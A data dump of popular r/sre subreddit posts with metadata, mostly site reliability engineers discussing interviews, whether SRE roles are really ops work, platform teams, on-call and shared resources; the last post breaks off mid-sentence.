1etuepj,sre,My Friday Feels...,,sleepsnurflexoxo,65,7,1723828458,/r/sre/comments/1etuepj/my_friday_feels/,https://i.redd.it/ntrz9ie93tx71.png,i.redd.it,False,,,,, vsw6i5,sre,I just got leetcoded,"Going on for an SRE position, most of my experience has been managing distributed systems to scale to > 1mm requests per hour. These systems cannot fail, and if they do, there's regulatory problems. Today I had an interview, and got leetcoded. Ok there were two hours of the interview. One was to design and implement an in memory database, and the other was to design a data structure that could handle weights and and return a node based on weights of all of the nodes in the structure. I started rationalising the second interview, but my brain was dead half way through. No questions about systems design or architecture, or even linux. I definitely did not get the job.",Volemic,64,15,1657130324,/r/sre/comments/vsw6i5/i_just_got_leetcoded/,https://www.reddit.com/r/sre/comments/vsw6i5/i_just_got_leetcoded/,self.sre,True,,,,, qqskau,sre,Is cloud native getting a bit too complex?,"Very interesting how Werner Vogels (Amazon CTO) went from yelling ""you build it, you run it"" in 2006 to ""There is a clear increase in complexity when you move to such a pervasive microservices environment. Was it easier in the days when everything was in a monolith? Yes, for some parts definitely.”. [Complexity of cloud native setups is killing](https://www.infoworld.com/article/3639050/complexity-is-killing-software-developers.html) (or at least slowing down) many engineering teams, very good article. The current level of choice developers are given in most teams is both a gift and curse, as Kelsey Hightower puts it. Internal developer platforms are the answer to these challenges: they allow you to establish the right level of abstraction for developers. Engineers can go low level and mess with helm charts and IaC modules if they so like, but you also offer them a golden path where they can easily self-serve what they need from the setup to run their apps independently.",matgalt,63,39,1636544606,/r/sre/comments/qqskau/is_cloud_native_getting_a_bit_too_complex/,https://www.reddit.com/r/sre/comments/qqskau/is_cloud_native_getting_a_bit_too_complex/,self.sre,True,,,,, 1e0t000,sre,i once got paged on the subway (underground) and emerged in the midst of a SEV0 outage 🥲,"it was a sunday. had to steal wifi from an urban outfitters on 5th ave to manage it 💀 what's your most inconveniently timed page? ",sreiously,63,66,1720715019,/r/sre/comments/1e0t000/i_once_got_paged_on_the_subway_underground_and/,https://www.reddit.com/r/sre/comments/1e0t000/i_once_got_paged_on_the_subway_underground_and/,self.sre,True,,,,, z48t93,sre,One of the happiest day of the week ! Discovered D2.,,MoiSanh,63,3,1669367333,/r/sre/comments/z48t93/one_of_the_happiest_day_of_the_week_discovered_d2/,https://github.com/terrastruct/d2,github.com,False,,,,, 1fz23bq,sre,seeing my name in the postmortem,[Source: https:\/\/twitter.com\/tekbog\/status\/1843434419627147509](https://preview.redd.it/5rnx5eyysjtd1.jpg?width=540&format=pjpg&auto=webp&s=ba4525a34afd5c9cdd579af5454403a3cd9ae51e),devoopseng,62,4,1728400149,/r/sre/comments/1fz23bq/seeing_my_name_in_the_postmortem/,https://www.reddit.com/r/sre/comments/1fz23bq/seeing_my_name_in_the_postmortem/,self.sre,True,,,,, skeygf,sre,I Wrote A Book On SRE! Site Reliability Engineering Tidbits!,"This book is a collection of 28 chapters on SRE concepts, such as observability, monitoring, Service Level Objectives (SLOs), alerting, resilience and debugging. Most of the chapters detailed concepts that I applied while working in a professional setting so they are 100% proven in real business! [https://www.amazon.com/dp/B09QNZC2LL](https://www.amazon.com/dp/B09QNZC2LL) This book aims to provide hands on examples of implementing a number of concepts described in Google's SRE books. It also describes how i've seen SRE concepts impact some of the organizations I've worked in. A couple chapters are hands on debugging exercises going through the process of debugging applications based on data and the scientific method. I'm excited because every chapter describes something that I've done in paying jobs, so it documents real life SRE in action at various size organizations, and not theoretical SRE concepts. I adapted each chapter from blog posts I've written over the last 4 years, and would be happy to share any information about the process or content! &#x200B; &#x200B; https://preview.redd.it/3wkiiokuwtf81.jpg?width=3024&format=pjpg&auto=webp&s=4119ec24e259e26a9ff7822c4e614007b2535e57 https://preview.redd.it/ueqacpkuwtf81.jpg?width=3024&format=pjpg&auto=webp&s=702b4e296e99d09d7fea75cbeaa8eec9dfa4b70f",dm03514,62,10,1643985930,/r/sre/comments/skeygf/i_wrote_a_book_on_sre_site_reliability/,https://www.reddit.com/r/sre/comments/skeygf/i_wrote_a_book_on_sre_site_reliability/,self.sre,True,,,,, z5c3m7,sre,Advice for Google SRE/SE interview's Linux internals,"I've been looking at people's interview experiences for Google SRE/SE because I am also preparing for it. This is for the SRE/SE track and not SRE/SWE. The Linux internals part seems to be really extensive, going deep under the hood. I have good experience with system administration and networking but mostly in a cloud environment (GCP/AWS). I have seen the recommended books and courses by various people who have prepared for this. Given my limited Linux depth, how do I prepare? I understand this is not something I can pick up by just studying - so any guidance will be helpful. I have time since I am not planning to apply soon. I have a programming background (gradually kept moving into more ops oriented roles and now full time into ops at a startup) and write code once in a while but all in high level languages and tools (i.e. nothing that involves Linux system calls)",Anxious_Lunch_7567,62,33,1669481696,/r/sre/comments/z5c3m7/advice_for_google_srese_interviews_linux_internals/,https://www.reddit.com/r/sre/comments/z5c3m7/advice_for_google_srese_interviews_linux_internals/,self.sre,True,,,,, 10fj3gt,sre,"When you put a job interview coding exercise on the clock, you're testing the candidate's test-taking skill more than their ability to code.","As SREs, we're trained to look at many aspects of code beyond functionality. Is this resilient to failures of any individual component? How do we build that in or prepare it for future expansion to allow greater resilience? Does it properly trap, report, and recover from errors? Is the program structure built so that anyone can pick it up and edit it without explanation, especially in an emergency? Are we using descriptive variable names (and THE CORRECT descriptive variable names) to enhance that readability? If we came to SRE from the ops path or any other path that didn't involve academic study of computer programming, it could be a little more difficult. Planning for the right code can take an hour before the first `import json` line is written in the top. Am I alone in this?",thoughtfix,61,38,1674077924,/r/sre/comments/10fj3gt/when_you_put_a_job_interview_coding_exercise_on/,https://www.reddit.com/r/sre/comments/10fj3gt/when_you_put_a_job_interview_coding_exercise_on/,self.sre,True,,,,, 11zh9e5,sre,Google to decrease SREs ratio. What are your thoughts?,"Hi, guys, First time here, I started working as an SRE a little over a year ago and I am enjoying it very much. However, there are always talks about the end of SREs and DevOps and all things that can be automated. I just saw this from Google and I would like to know your opinions on it ([https://archive.ph/YWp4O](https://archive.ph/YWp4O)) TLDR: Google wants to promote efficiency and one of the ways is to automate in order to reduce ratio of SREs from 1 to 10 devs to 1 to 20 devs Kind of worried here, because from what I've been seeing, small and medium companies tend to follow tech giants. What are your thoughts? Thank you :) and sorry if this post does not abide to some guideline that it should follow",WorriedJaguar206,61,32,1679570334,/r/sre/comments/11zh9e5/google_to_decrease_sres_ratio_what_are_your/,https://www.reddit.com/r/sre/comments/11zh9e5/google_to_decrease_sres_ratio_what_are_your/,self.sre,True,,,,, oldjhl,sre,Site Reliability Engineer Capability Map,"I slapped together a capability map one night when I was investigating what an SRE could be responsible for. Trawled through 25+ job sites and condensed my findings. Here it is: https://preview.redd.it/g9yedlrhknb71.png?width=2555&format=png&auto=webp&s=5fb286cff34e6a9a7d990ed351f4f9e1185571a5 A few aims from this: * help neurodiverse SREs stay on top of the big picture of their role requirements (ADHD coworkers have said they burrow holes -- like fall in love with one capability area -- and lose sight of the rest) * in the future, consider adding notes function so they can build a learning diary to review * if it's useful, make it interactive so SREs can manipulate the role to suit their particular situation Not earth-shatteringly innovative, but I hope it helps someone out there.",hatchikyu,61,14,1626428274,/r/sre/comments/oldjhl/site_reliability_engineer_capability_map/,https://www.reddit.com/r/sre/comments/oldjhl/site_reliability_engineer_capability_map/,self.sre,True,,,,, 12t4itd,sre,Mother of All Outages,,hazelweakly,60,23,1682004519,/r/sre/comments/12t4itd/mother_of_all_outages/,https://hazelweakly.me/blog/mother-of-all-outages/,hazelweakly.me,False,,,,, xxudi7,sre,How HashiCorp Does Site Reliability Engineering,,Basedinfra,60,5,1665134310,/r/sre/comments/xxudi7/how_hashicorp_does_site_reliability_engineering/,https://thenewstack.io/how-hashicorp-does-site-reliability-engineering/,thenewstack.io,False,,,,, fwt9m1,sre,"Google releases another, 3rd book about SRE.",,UltraInstinct007,60,5,1586295443,/r/sre/comments/fwt9m1/google_releases_another_3rd_book_about_sre/,http://landing.google.com/sre/resources/foundationsandprinciples/srs-book/,landing.google.com,False,,,,, 15b3k4y,sre,This was just too much not to share. Canonical job application form for SRE... LOL,,swinney,59,25,1690468567,/r/sre/comments/15b3k4y/this_was_just_too_much_not_to_share_canonical_job/,https://i.redd.it/96j6qdlvqieb1.png,i.redd.it,False,,,,, s2yjg6,sre,Tracing the path of network traffic in Kubernetes,,danielepolencic,59,1,1642077587,/r/sre/comments/s2yjg6/tracing_the_path_of_network_traffic_in_kubernetes/,https://learnk8s.io/kubernetes-network-packets,learnk8s.io,False,,,,, t7cyzy,sre,"This sounds like a NOC/Support position, not SRE",,handle2001,57,40,1646497469,/r/sre/comments/t7cyzy/this_sounds_like_a_nocsupport_position_not_sre/,https://i.redd.it/vzikhvnscll81.jpg,i.redd.it,False,,,,, qde6tv,sre,Key learnings from building a platform team,"Hey all, I am currently building a platform team at my company (mid-size financial institution). I wanted to share some of the learnings so far and some of the key things we are paying attention to. When we decided to build our internal developer platform, a starting point for us was to look at the pain points of our developers. Where were they wasting time? What were those common issues that they had to solve over and over? Those blockers clearly indicated at what point of the workflow and the toolchain we had to focus on. As an example, one of our QA teams had to touch an average of 8 different scripts+tools only to provision the necessary dependencies (like a postgres DB), whenever they needed a preview environment to test something out. This was a good place to start for us. Second thing. Careful consideration and firm decisions on what languages, frameworks, etc. to support is a high priority. There is a balance to ensure between devs having enough freedom to use the tech and tools they want and on the other hand having a setup with some centralized standards. This balance is really key and something you can't screw up. As a platform team we want to establish some sort of golden path for developers that we continue to tweak and improve. For the problem described above for instance, we created a set of default configurations (Helm charts+Terraform files) that developers and QA teams could use to spin up environments with a predefined set of dependencies already available, so they could just select a template and test, without having to touch too many other tools or scripts. Finally, it's proven quite hard to hire for our platform team both internally and externally. It takes a certain type of engineer to fill this role, someone who not only has a deep technical understanding of toolchains and complicated systems, but also values internal feedback and treats application developers as their internal customers. For those here building a platform team or who already built one, what were the best ways you found to hire for these roles?",jan_cloud,56,23,1634899333,/r/sre/comments/qde6tv/key_learnings_from_building_a_platform_team/,https://www.reddit.com/r/sre/comments/qde6tv/key_learnings_from_building_a_platform_team/,self.sre,True,,,,, wk443h,sre,Don’t do this with your k8s health checks,"**Link:** [https://doordash.engineering/2022/08/09/how-to-handle-kubernetes-health-checks/](https://doordash.engineering/2022/08/09/how-to-handle-kubernetes-health-checks/) After suffering an outage on black friday our team realized the root cause came from our poor understanding of how Kubernetes probes ( health checks) worked. To help spread awareness and how to correctly utilize these features we wrote this blog post that dives into our outage, how we diagnosed the issue and how correctly handle health checks. As a member of our *SRE* team, we often get a chance to be a part of a team working on complex *incidents* and rarely have time nor ability to share the knowledge outside the organization. In this *incident* we were able to extract some knowledge we believe will help others avoid similar issues. P.S And we are always hiring, come work with us",m1dN05,56,6,1660053726,/r/sre/comments/wk443h/dont_do_this_with_your_k8s_health_checks/,https://www.reddit.com/r/sre/comments/wk443h/dont_do_this_with_your_k8s_health_checks/,self.sre,True,,,,, l4o87y,sre,Google SRE Sandbox,"Not sure if anyone has seen this yet, Google has launched a pretty expansive sandbox that is configured for observability monitoring. I haven't had a chance to test yet but it looks very good. [https://www.googlenewsapp.com/take-the-first-step-toward-sre-with-cloud-operations-sandbox/](https://www.googlenewsapp.com/take-the-first-step-toward-sre-with-cloud-operations-sandbox/) > Features > >***Demo service*** *– an application built using microservices architecture on modern, cloud-native stack (a modified fork of a* [*Online Boutique microservices*](https://github.com/GoogleCloudPlatform/microservices-demo) *demo app)* > >***One-click deployment*** *– automated script that deploys and configures the service to Google Cloud, including:* > >*Service Monitoring configuration* > >*Tracing with OpenTelemetry* > >*Cloud Profiling, Logging, Error Reporting, Debugging and more* > >***Load generator*** *– a component that produces synthetic traffic on the demo service* > >***SRE recipes*** *– pre-built tasks that manufacture intentional errors in the demo app so you can use Cloud Operations tools to find the root cause of problems like you would in production* > >*An* ***interactive walkthrough*** *to get started with Cloud Operations* ",IrrelevantPenguins,56,6,1611582667,/r/sre/comments/l4o87y/google_sre_sandbox/,https://www.reddit.com/r/sre/comments/l4o87y/google_sre_sandbox/,self.sre,True,,,,, n2l9ek,sre,What exactly is SRE? A bunch of SREs created this virtual conference on 20 May to answer the big question,,Container-Solutions,55,2,1619884955,/r/sre/comments/n2l9ek/what_exactly_is_sre_a_bunch_of_sres_created_this/,https://www.cloud-native-sre.wtf,cloud-native-sre.wtf,False,,,,, vl7c34,sre,I was a dev. Now I'm a SRE. Thought it would be as fun as it is when I was a dev.,"This whole thing is like a helpdesk. Most of the time I'm dealing with RBAC and password reset and SSL cert generations and other access related queries. Hell, we have private data centers across 20 regions and still my team members are here automating access related issues and cert issues. I hope I will do some development works related to infra eventually, like something related to reliablity engineering. Personal opinion from AFAIK: Not as fun as SDE role.",The-Non-Euclidean,55,29,1656257718,/r/sre/comments/vl7c34/i_was_a_dev_now_im_a_sre_thought_it_would_be_as/,https://www.reddit.com/r/sre/comments/vl7c34/i_was_a_dev_now_im_a_sre_thought_it_would_be_as/,self.sre,True,,,,, w8w90t,sre,The dichotomy of the SRE,"Context, I run the SRE team for a small company ( 3 SREs + me supporting maybe 25 engineers). The industry seems to be running away from the SRE model as fast as they possibly can. Most SRE teams I talk to, mine included, are just ops/infra teams. I was previously at a very large retail company that ran a more google model SRE team but even they could not resist piling on infra work onto the SRE team. In that case it was DDIN , logs, and metrics. In my current role I do try to sneak in talks about SLA budgets RTO/RPO where I can, but its a struggle to get any traction against the unending march for revenue. What's everyone else experience , whos managing to hold the line on what SRE originally stood for and how are they doing it. or how are you sneaking in SRE practices into your org ?",kellven,54,23,1658872341,/r/sre/comments/w8w90t/the_dichotomy_of_the_sre/,https://www.reddit.com/r/sre/comments/w8w90t/the_dichotomy_of_the_sre/,self.sre,True,,,,, 1igbrvn,sre,My job search as a senior/staff SRE [USA],,maybe_madison,54,33,1738541163,/r/sre/comments/1igbrvn/my_job_search_as_a_seniorstaff_sre_usa/,https://i.redd.it/qagpwxr1ftge1.png,i.redd.it,False,,,,, 1hsyz7c,sre,SRE production readiness checklist,"We are new SRE team in online shopping platform. Stack consists of Spring boot as BE, 50 microservices on on premise kubernets clusters, react based front and mobile apps. Spring services mostly provides APIs for mobile and web apps. syncronous and asyncronous(kafka) communication happens amongmicroservices. Business logics sits heavily on Spring boot, we use PostgreSQL as database. There are separate devops team for ci/cd and other processes.Our job is to bring SRE culture to organization and improve reliability a lot for. As initial step we agreed to have discussions with development teams and formalize spring template per best practieses and apply it across org. It is called Productions readiness (PRR)or operation readiness(ORR) checks in some companies. What would you add to template(checklist document) as requirement,checklist from development team. ?",Weak-Appointment-566,53,11,1735943302,/r/sre/comments/1hsyz7c/sre_production_readiness_checklist/,https://www.reddit.com/r/sre/comments/1hsyz7c/sre_production_readiness_checklist/,self.sre,True,,,,, 1iqkzvn,sre,Google SRE Offer,"I recently received an offer for a Google SWE-SRE role. I am currently a SWE at a non-FAANG equivalent software company with 1 YOE. I am interested in building cool products and data/ML work. I am concerned that I will not enjoy SRE work, and this will take me further away from my passion. While I really enjoy learning about distributed systems, I don't like working on OS, networking, infra, kernel, and hardware. I am not sure as to how much of this role will involve delving into these topics. I also want to become a stronger programmer and build on my product sense. I am concerned that if I am not interested and not good at SRE work, I will be miserable given that I would be giving up my current job progress to take this role. It may also be quite difficult to transition to product SWE roles after a couple years. On the other hand, I know that having Google experience will be solid for my future both in terms of repute and learning. I have the option of turning down this team, and remaining in the team matching stage for Google SWE, though there is no guarantee that I will get another offer. I would appreciate any advice, specifically from Google SREs, or ex-SREs that transitioned to SWE (even better if ML/data).",a90p,52,55,1739682964,/r/sre/comments/1iqkzvn/google_sre_offer/,https://www.reddit.com/r/sre/comments/1iqkzvn/google_sre_offer/,self.sre,True,,,,, o1kajw,sre,SRE on Wikipedia has come under fire...,"A request for deletion of the Wikipedia [Site Reliability Engineering](https://en.wikipedia.org/wiki/Site_reliability_engineering) page has been made by a user. "" This is an overblown [WP:DICDEF](https://en.wikipedia.org/wiki/Wikipedia:DICDEF) for a Google created IT Neologism. A précis might have a place in Wiktionary, but this article is not suitable for an encyclopaedia. All the references return to Google"" &#x200B; So first thing... I'm not sure if I should be offended or not by my job title being a neologism created by Google...lol. Aside from that I think this highlights a point that the Wiki page does reference Google a lot. While true that Google has played an important role in defining SRE; the reality is that we now have organizations like [IBM](https://www.ibm.com/cloud/learn/site-reliability-engineering) and [Microsoft](https://docs.microsoft.com/en-us/azure/site-reliability-engineering/) weighing in on the topic as well (just to name a couple). This only proves that SRE has progressed well beyond Google. Are there any good writers on this subreddit willing to jump in and help us expand the wikipedia page for Site Reliability Engineering?",TheRealCloudMage,52,20,1623891102,/r/sre/comments/o1kajw/sre_on_wikipedia_has_come_under_fire/,https://www.reddit.com/r/sre/comments/o1kajw/sre_on_wikipedia_has_come_under_fire/,self.sre,True,,,,, r13hdf,sre,Save your engineers' sleep: best practices for on-call processes,,Ramirond,51,2,1637754782,/r/sre/comments/r13hdf/save_your_engineers_sleep_best_practices_for/,https://ably.com/blog/best-practices-for-on-call-processes?utm_source=reddit&utm_medium=sc&utm_campaign=ably-engineering,ably.com,False,,,,, uc9sbk,sre,Straightforward SRE glossary for beginners,"I noticed that many of the glossaries around SRE found via Google are, in fact, lengthy explainer pages. So much word count to sift through that a newbie's head would spin. So I made a [quick and easy glossary of key SRE terms](https://www.srepath.com/site-reliability-engineering-glossary/). The target audience is new SREs and executive sponsors who would keep hearing these terms repeatedly but not take the time to read 1000s of words at a time.",hatchikyu,51,4,1650970444,/r/sre/comments/uc9sbk/straightforward_sre_glossary_for_beginners/,https://www.reddit.com/r/sre/comments/uc9sbk/straightforward_sre_glossary_for_beginners/,self.sre,True,,,,, 13d4i6v,sre,List of Post-Mortems,"Don't know about the rest of you, but I always enjoy a good post-mortem following a major incident - I may or may not even read them in my spare time for entertainment. That's how I stumbled upon this compiled (and impressively categorized) list of post-mortems today on Github. Thought I would share here so others can jump on the bandwagon of learning from others in the sense of ""what went wrong and what we're doing about it."" Here's the collection: [https://github.com/danluu/post-mortems](https://github.com/danluu/post-mortems)",reliabiliteer,50,5,1683662969,/r/sre/comments/13d4i6v/list_of_postmortems/,https://www.reddit.com/r/sre/comments/13d4i6v/list_of_postmortems/,self.sre,True,,,,, tcgx3j,sre,"SRE-SWE doing 90% ops work - reality check, advice?","TL;DR: Spent the past year with change doing sre-system type of work, now Im bored and demotivated because I'm more of sre-swe person. How to find roles better aligned with my skillset? I joined a company last year as an SRE after having previously worked two other jobs in that role. Before that, I was a developer, so most of my experience lies in writing code--ci/cd, linux, networking, etc. was the really fun icing on the cake. But yesterday I realized that in this role, something like 90% of my work has been ops work. Helm, terraform, docker, puppet, bash, grafana, mitigating incidents, etc. It was cool to get better at some of these tools, but first, it's not my strength, and second, I feel bored and demotivated every day. Those few days when I actually do write code I feel excited and energized, like I really solved a problem and learned a bunch along the way. I also realized that in my whole org, most SREs have very little coding experience. They're all sysadmins (experienced, great guys all), so all the projects in the SRE pipeline involve just more helm, terraform, grafana, etc.Whenever I suggest we could solve a problem with a service, they steer the conversation toward using puppet or nginx or some other off the shelf solution, which makes sense given their focus. Just to be clear, I _do_ enjoy some of the work Im doing. I _do_ like mitigating incidents, running post-mortems, refining dashboards and alerts. But not over 90% of the time. So I'm looking to change companies to get back to doing what I like and am good at. Part of me is worried that every week at my company, my coding skills become rustier, so I feel some urgency. How do you make sure your next role isn't another ops-rebranded-as-sre type of role? I know companies now are renaming their ops teams as SRE because it sounds cooler. So I plan to ask questions around that. But maybe I should look outside of SRE, at roles around platform engineering maybe? Do platform engineers do post-mortems and work out SLOs? I never worked at a place with platform folks, it was always SREs + SWEs.",itiswhatitis710wtf,50,26,1647093495,/r/sre/comments/tcgx3j/sreswe_doing_90_ops_work_reality_check_advice/,https://www.reddit.com/r/sre/comments/tcgx3j/sreswe_doing_90_ops_work_reality_check_advice/,self.sre,True,,,,, pvs7sh,sre,Are you SRE folks strong coders?,"I'm reading the SRE book by Google and their VP of 24/7 says that SREs are basically software engineers with strong knowledge of the underlying OS, networking, etc. Now I've been a DevOps guy for several years and an infrastructure guy for many years prior to that and I've done a lot of automation and IaC, but I'm not a strong coder as in a software engineer per se. Would I be, say, a good candidate for SRE roles? Edit: corrected Google VP's role",thrubovc,49,24,1632656464,/r/sre/comments/pvs7sh/are_you_sre_folks_strong_coders/,https://www.reddit.com/r/sre/comments/pvs7sh/are_you_sre_folks_strong_coders/,self.sre,True,,,,, 11aiav5,sre,Unpopular opinion - some SREs are just system admin relabeled,"I’ve been casually looking for a new role. I’m currently at a bigger company as a principal SRE role. I’ve noticed a lot of the job descriptions have a requirement of software development experience (as they should). Most of these positions have hundreds if not over 1k applicants. I was talking with a hiring manager yesterday who was frustrated at the number of candidates that claimed they could code and yet couldn’t pass their simple coding interview. When I say code, I mean using an actual programming language, not terraform or ansible. Am I the only one who thinks that unfortunately a lot of current people with a title of “sre” are just previous system administrators or infra engineers relabeled? I feel a lot of these people are actually taking up the time of people looking to hire someone and essentially wasting their time when they’re are actual good candidates buried deep within the candidate list.",Noobcoder77,49,28,1677212467,/r/sre/comments/11aiav5/unpopular_opinion_some_sres_are_just_system_admin/,https://www.reddit.com/r/sre/comments/11aiav5/unpopular_opinion_some_sres_are_just_system_admin/,self.sre,True,,,,, v1n9ms,sre,Quick guide to starting an SRE team from scratch,"I noticed a running theme in questions I got asked by engineering leaders (other than ""Will you come work for my org? It's impossible to find SREs, even L1s!""). That theme revolved around tricks to starting an SRE team from scratch. I've put together a few insights on a post dubbed [Starting an SRE team from scratch](https://www.srepath.com/starting-an-sre-team-from-scratch-quick-guide/). Creative title, I know. I know you might not agree with everything there, so let me know where we digress. That will only help improve the content for helping fellow SREs and their teams.",hatchikyu,48,17,1653993307,/r/sre/comments/v1n9ms/quick_guide_to_starting_an_sre_team_from_scratch/,https://www.reddit.com/r/sre/comments/v1n9ms/quick_guide_to_starting_an_sre_team_from_scratch/,self.sre,True,,,,, yvqra5,sre,Fiberplane beta: Collaborative notebooks for SREs,,arendjr,48,11,1668499993,/r/sre/comments/yvqra5/fiberplane_beta_collaborative_notebooks_for_sres/,https://blog.fiberplane.com/public-beta-release/,blog.fiberplane.com,False,,,,, tglz1d,sre,"In case no one has told you yet, you *are* good enough to roll that change to production",,newrelic,48,2,1647555648,/r/sre/comments/tglz1d/in_case_no_one_has_told_you_yet_you_are_good/,https://newrelic.com/lp/freesignup?utm_source=reddit&utm_medium=organic_social&utm_campaign=global-ever-green-sre-affirmations,reddit.com,False,,,,, t3obbw,sre,[deleted by user],[removed],[deleted],48,42,1646078211,/r/sre/comments/t3obbw/deleted_by_user/,https://www.reddit.com/r/sre/comments/t3obbw/deleted_by_user/,self.sre,True,,,,, mpee3d,sre,Recently I wrote an article about SRE Best Practices. Would love your feedback on the same.,,chetanpdeshmukh,47,7,1618235844,/r/sre/comments/mpee3d/recently_i_wrote_an_article_about_sre_best/,https://www.infracloud.io/blogs/sre-best-practices/?utm_source=reddit.com&utm_medium=social&utm_campaign=promoting_blog&utm_content=sre,infracloud.io,False,,,,, 131ykwg,sre,Advice for Apple SRE interview,"I have an Apple SRE onsite interview in a week. 2 Linux/cloud/containers interview, 1 coding and 1 behavioural interview. Any advice would be great",Affectionate-Milk454,46,25,1682697144,/r/sre/comments/131ykwg/advice_for_apple_sre_interview/,https://www.reddit.com/r/sre/comments/131ykwg/advice_for_apple_sre_interview/,self.sre,True,,,,, 13k3w91,sre,Infrastructure as Code AMA with Luke Hoban (CTO of Pulumi),"We are going to get start at 8am PDT / 3pm UTC. /u/lukehoban (CTO of Pulumi) will be answering questions related to infrastructure as code, platform engineering, cloud architectures, generative AI, and Pulumi. We will go for an hour and will try to answer any questions that come in through the rest of the day. https://preview.redd.it/18vr5hd0oe0b1.jpg?width=830&format=pjpg&auto=webp&s=6e9a61f77e1f6af1acca61d2ea7470e40f1d5695 A bit about us. Pulumi is a platform that allows engineers to deliver infrastructure as code faster, using any programming language. We recently launched Pulumi Insights which gives search, analytics, and AI across infrastructure as code. *Edit 7:54am - Verification photo added* *Edit 8:41am - Keep the questions coming, we are going to stay past 9am PDT / 4pm UTC and keep answering questions.* *Edit 9:45am - We are still here and will keep going until 10am PDT / 5pm UTC* *Edit 10:09am PDT - Ok that is it for now. We are going to check in later today, so feel free to leave more questions.* ",kao-pulumi,46,30,1684334932,/r/sre/comments/13k3w91/infrastructure_as_code_ama_with_luke_hoban_cto_of/,https://www.reddit.com/r/sre/comments/13k3w91/infrastructure_as_code_ama_with_luke_hoban_cto_of/,self.sre,True,,,,, v9k6nq,sre,SRE role feels like high level help desk?,"I’ve been doing a SRE type of role for the past year and it feels kind of like help desk but with some higher level questions. We have sprints, I do have tasks that I work on but I’m also part of a queue that resolves incidents and sometimes the queue gets pretty full. I wasn’t expecting to start working in a queue again, is this normal?",SomedayGuy117,45,14,1654902643,/r/sre/comments/v9k6nq/sre_role_feels_like_high_level_help_desk/,https://www.reddit.com/r/sre/comments/v9k6nq/sre_role_feels_like_high_level_help_desk/,self.sre,True,,,,, 11dsa6o,sre,When choosing SaaS vendors make sure you write this into your contracts.,"Just came off a super frustrating experience with a SaaS cloud vendor for ""observability"" where essentially they provide the ability for us to back up our log data (for compliance reasons) ""locally"" in an S3 bucket that we control. However, without their product, the backups are essentially unreadable. In preparing my DR plans, I noticed this was an issue, and asked them for the file format of the archives so that we could decrypt them. I was essentially told to pound sand and that the file formats were ""proprietary"". Because of this and a few other reasons we are terminating our relationship with the vendor. Unfortunately I was not around for the initial acquisition of the vendor, so I couldn't write this into the original contract, and now that we are transitioning off the vendor surprise surprise we are unable to read this data that we ""have"".",engineered_academic,45,14,1677545539,/r/sre/comments/11dsa6o/when_choosing_saas_vendors_make_sure_you_write/,https://www.reddit.com/r/sre/comments/11dsa6o/when_choosing_saas_vendors_make_sure_you_write/,self.sre,True,,,,, nrbk6s,sre,Improving software engineering skills as an SRE with systems side background,"I am working as an ""SRE"", even though if we go by the definition of Google's SRE book, we aren't really a SRE organisation. Our team including me have mostly come from system admin background. Most of my time is spent with tools like Terraform, packer, jenkins, ansible etc. I am also comfortable with Python for scripting. But I don't have much real software engineering experience. Most of the code I write other than python are in DSLs of the tools. Recently went for interview with a FAANG company, the feedback I got is that I will fit in more as System Admin than SRE. Any recommendations for improving software engineering skills?",iam_root,45,17,1622721003,/r/sre/comments/nrbk6s/improving_software_engineering_skills_as_an_sre/,https://www.reddit.com/r/sre/comments/nrbk6s/improving_software_engineering_skills_as_an_sre/,self.sre,True,,,,, tatb73,sre,Platform Engineering - What SRE was supposed to be?,"A lot of us talk about how so many of our roles are bloated with ops work. I myself thought SRE would allow more software development with a good mix of problem sets. Is Platform Engineering what SRE was supposed to be? I'm looking to pivot in the next year. I want to develop software that enhances infrastructure and the life of the engineer using our internal tools.",wolf_gang_puck,45,11,1646897083,/r/sre/comments/tatb73/platform_engineering_what_sre_was_supposed_to_be/,https://www.reddit.com/r/sre/comments/tatb73/platform_engineering_what_sre_was_supposed_to_be/,self.sre,True,,,,, raabnp,sre,When do/would you walk away from an SRE interview?,"We’ve had some threads about interviewing challenges, and some threads about general SRE day-to-day stressors, I wanted to combine the two and bring up a topic I don’t think gets brought up enough: **when to walk away from an interview**, for reasons beyond salary. Salary is the easy one to walk away from, assuming you’re in the financial position to do so. So this thread assumes an ideal state. I have a few things that make me say “thanks, no thanks”, one interview this summer went really well, the people I talked to were very polite and sharp in terms of what they were working on, but the environment was pure chaos and disorder, when the manager admitted “we’re basically ticket takers” I politely bowed out. Lately I’ve been thinking of asking “has anyone in your Engineering leadership or SRE leadership teams read the Google SRE book?” early on in the interview as a way of maybe raising an orange flag (escalate to red depending on other conditions) to start asking them slightly harder questions. Anyone else want to share experiences when they chose to depart an interview/reject a company?",wtfsoda,45,25,1638805831,/r/sre/comments/raabnp/when_dowould_you_walk_away_from_an_sre_interview/,https://www.reddit.com/r/sre/comments/raabnp/when_dowould_you_walk_away_from_an_sre_interview/,self.sre,True,,,,, kfpjcm,sre,Pipelines: A Free DevOps/SRE Bootcamp," Hey all! This is my quarterly announcement for a completely free DevOps/SRE bootcamp I run that is beginning January 4th of 2020. **What is it?** Pipelines: A Journey into Software Delivery, automation and Infrastructure Pipelines is a technical training series designed to expose you to concepts in DevOps and Site Reliability Engineering. Throughout the Journey, it will help you understand how you can help organizations deliver software faster and more efficiently, as well as how you can ensure millions of people can access these digital products reliably. **When and Where is it?** Mondays and Wednesdays at 7pm ET from January 4 2021 - February 24 2021 on Twitch! channel: [https://twitch.tv/mastermndio](https://twitch.tv/mastermndio) **Who is it for?** This is the ""Apprentice"" level of the course, so it is designed for those new to the discipline who want to be exposed to and get hands on with the many topics needed to be an effective practitioner of DevOps/Site Reliability principles. There will be ""Journeyman"" and ""Master"" levels of the Pipelines course that follow this course for anyone who is looking for a deeper dive into these disciplines. **How Much is it?** It is 100% free to participate is ALL parts of the bootcamp. Due to popular requests, we have implemented a pay what you want model if you'd like to support, but there is **ABSOLUTELY NO OBLIGATION.** Our goal is simply to expand access to digital engineering skills. **More Info and Registration** You can find complete information about all bootcamps at [https://academy.mastermnd.io](https://academy.mastermnd.io/) [Click Here For Curriculum](https://courses.mastermnd.io/2ce1c5021d7b48c4bc938ffc708690d2) [Click Here for direct Registration](https://ahfnh58s1zm.typeform.com/to/rFNsn69z) There are also 2 additional bootcamps running at the same time if you want to check them out: Horizons: A Journey into Cloud Computing with AWS deCoded: A Journey into Software Engineering and Computer Science P.S. Recording will go up on YouTube 24 hours after they have aired, due to Twitch ToS, but in order to keep the channel clean and organized for upcoming content, The recording will be private, and the link will be accessible from Google Classroom. If you have any questions, ask away here or shoot me an email at [academy@mastermnd.io](mailto:academy@mastermnd.io). Thanks and I look forward to learning with 